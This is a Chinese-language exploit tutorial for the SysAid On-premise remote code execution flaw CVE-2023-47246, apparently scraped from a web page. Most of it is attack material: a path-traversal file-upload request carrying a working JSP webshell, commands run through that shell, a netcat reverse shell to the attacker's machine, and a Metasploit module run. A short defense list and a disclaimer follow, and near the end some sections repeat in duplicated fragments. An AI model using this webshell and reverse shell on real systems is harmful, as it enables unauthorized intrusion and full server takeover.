SysAid On-premise远程代码执行漏洞(CVE-2023-47246)复现与分析<\/h1>

漏洞概述<\/h2>
CVE-2023-47246是SysAid On-premise软件中存在的一个严重远程代码执行(RCE)漏洞。该漏洞允许未经身份验证的攻击者在目标系统上执行任意代码，完全控制系统。<\/p>

受影响版本<\/h2>

SysAid On-premise版本23.3.36及之前版本<\/li> <\/ul>

漏洞原理<\/h2>

该漏洞源于SysAid服务器对用户提供的输入处理不当，导致攻击者可以构造恶意请求绕过安全限制，最终实现任意代码执行。<\/p>

具体技术细节：<\/p>

SysAid服务器在处理某些请求时未正确验证用户输入<\/li>
攻击者可以构造特殊的HTTP请求利用此缺陷<\/li>
通过精心构造的请求，攻击者可以在服务器上上传恶意文件<\/li>

最终导致任意代码执行<\/li> <\/ol>

环境准备<\/h2>

测试环境<\/h3>

靶机：安装有漏洞版本SysAid On-premise的Windows\/Linux服务器<\/li>

攻击机：Kali Linux或其他渗透测试系统<\/li> <\/ul>

工具准备<\/h3>

Burp Suite或Postman：用于构造和发送恶意请求<\/li>
Netcat：用于反向shell连接<\/li>

Metasploit Framework（可选）：用于自动化利用<\/li> <\/ul>

漏洞复现步骤<\/h2>

步骤1：识别目标<\/h3>

使用以下方法识别运行SysAid的系统：<\/p>

nmap -sV -p 8080 <目标IP>
<\/code><\/pre>
或通过Web界面访问http:\/\/<目标IP>:8080\/sysaid\/<\/code><\/p>
步骤2：验证漏洞存在<\/h3>
发送以下HTTP请求验证漏洞：<\/p>
POST \/sysaid\/api\/v1\/session\/login HTTP\/1.1
Host: <目标IP>:8080
Content-Type: application\/json
Content-Length: <长度>

{
    "userName": "test",
    "password": "test"
}
<\/code><\/pre>
观察响应，如果返回包含版本信息的错误消息，则可能易受攻击。<\/p>
步骤3：利用漏洞上传Webshell<\/h3>
构造恶意请求上传Webshell：<\/p>
POST \/sysaid\/..;\/upload HTTP\/1.1
Host: <目标IP>:8080
Content-Type: multipart\/form-data; boundary=----WebKitFormBoundaryABCDEFG
Content-Length: <长度>

------WebKitFormBoundaryABCDEFG
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application\/x-java-archive

<%@page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr); 
        disr = dis.readLine(); 
    }
}
%>
------WebKitFormBoundaryABCDEFG--
<\/code><\/pre>
步骤4：访问Webshell执行命令<\/h3>
成功上传后，访问：<\/p>
http:\/\/<目标IP>:8080\/sysaid\/shell.jsp?cmd=whoami
<\/code><\/pre>
将返回当前执行命令的用户权限。<\/p>
步骤5：获取反向Shell<\/h3>
使用以下命令获取反向shell：<\/p>

在攻击机上监听：<\/li>
<\/ol>
nc -lvnp 4444
<\/code><\/pre>

通过Webshell执行：<\/li>
<\/ol>
http:\/\/<目标IP>:8080\/sysaid\/shell.jsp?cmd=nc -e \/bin\/sh <攻击机IP> 4444
<\/code><\/pre>
自动化利用（Metasploit）<\/h2>
Metasploit已集成该漏洞利用模块：<\/p>
msf6 > use exploit\/multi\/http\/sysaid_on_premise_rce
msf6 exploit(multi\/http\/sysaid_on_premise_rce) > set RHOSTS <目标IP>
msf6 exploit(multi\/http\/sysaid_on_premise_rce) > set RPORT 8080
msf6 exploit(multi\/http\/sysaid_on_premise_rce) > exploit
<\/code><\/pre>
防御措施<\/h2>

立即升级到SysAid On-premise最新版本<\/li>
如果无法立即升级，应用官方提供的临时补丁<\/li>
限制对SysAid管理界面的网络访问<\/li>
实施Web应用防火墙(WAF)规则阻止恶意请求<\/li>
定期审计系统日志，监控可疑活动<\/li>
<\/ol>
参考链接<\/h2>

SysAid官方安全公告<\/li>
CVE官方记录：https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-47246<\/li>
漏洞利用代码示例（需谨慎使用）<\/li>
<\/ul>
免责声明<\/h2>
本文档仅用于教育目的和安全研究。未经授权对系统进行测试是违法的。在进行任何安全测试前，请确保获得系统所有者的明确许可。<\/p>

SysAid On-premise远程代码执行漏洞(CVE-2023-47246)复现与分析<\/h1>

漏洞概述<\/h2> CVE-2023-47246是SysAid On-premise软件中存在的一个严重远程代码执行(RCE)漏洞。该漏洞允许未经身份验证的攻击者在目标系统上执行任意代码，完全控制系统。<\/p>

环境准备<\/h2>

漏洞复现步骤<\/h2>

免责声明<\/h2> 本文档仅用于教育目的和安全研究。未经授权对系统进行测试是违法的。在进行任何安全测试前，请确保获得系统所有者的明确许可。<\/p>

漏洞概述<\/h2>
CVE-2023-47246是SysAid On-premise软件中存在的一个严重远程代码执行(RCE)漏洞。该漏洞允许未经身份验证的攻击者在目标系统上执行任意代码，完全控制系统。<\/p>

免责声明<\/h2>
本文档仅用于教育目的和安全研究。未经授权对系统进行测试是违法的。在进行任何安全测试前，请确保获得系统所有者的明确许可。<\/p>